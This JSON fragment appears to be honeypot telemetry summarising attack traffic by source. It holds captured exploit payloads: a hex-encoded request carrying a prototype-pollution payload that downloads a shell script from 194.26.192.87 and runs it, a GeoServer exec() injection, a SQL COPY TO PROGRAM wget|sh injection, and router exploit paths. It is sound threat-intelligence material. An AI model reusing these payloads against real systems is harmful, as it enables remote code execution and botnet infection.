name=\"2\"\r\n\r\n[]\r\n--0fdf55df9e085737676f582ed4e95a02--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d4c656e6774683a203639340d0a0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a273139342e32362e3139322e3837272c20706f72743a38302c20706174683a272f726f6e646f2e6171752e7368272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130322d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"b46a8d70-1d28-4862-ac57-37ab0ec79853","seq":1,"duration_ms":0,"bytes_in":992,"bytes_out":79}],"http_methods":[{"method":"POST","count":82},{"method":"GET","count":5}],"distinct_ports_total":11,"top_paths":[{"path":"/","count":43,"ports":3},{"path":"/apply.cgi","count":22,"ports":1},{"path":"/UD/act?1","count":7,"ports":3},{"path":"/goform/set_LimitClient_cfg","count":6,"ports":1},{"path":"/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vMTk0LjI2LjE5Mi44Ny9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzE5NC4yNi4xOTIuODcvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzE5NC4yNi4xOTIuODcvcm9uZG8uYGB6eXQuc2gpfHNo%7D%7C%7Bbase64%2C-d%7D%7Csh%27)","count":4,"ports":2},{"path":"/run","count":2,"ports":1},{"path":"/tmUnblock.cgi","count":2,"ports":1},{"path":"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub%3Aexample&CQL_FILTER=jsonArrayContains%28%22data%22%2C%20%27%2Fa%27%2C%20%27x%27%27%29%20%3B%20COPY%20%28SELECT%201%29%20TO%20PROGRAM%20%27%27wget%20-qO-%20http%3A%2F%2F194.26.192.87%2Frondo.rxx.sh%7Csh%27%27%20--%20%27%29%20%3D%20true","count":1,"ports":1}],"distinct_paths_total":8,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","User-Agent","Xxl-Job-Access-Token"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"close","notable":false},{"name":"Content-Length","value":"438","notable":false},{"name":"Content-Type","value":"application/json","notable":true},{"name":"Host","value":"<HONEYPOT>:9999","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","notable":false},{"name":"Xxl-Job-Access-Token","value":"default_token","notable":false}],"distinct_sets":3,"events_with_headers":10},"tags":[],"data_as_of":"2026-08-16T04:36:37.772054+00:00"}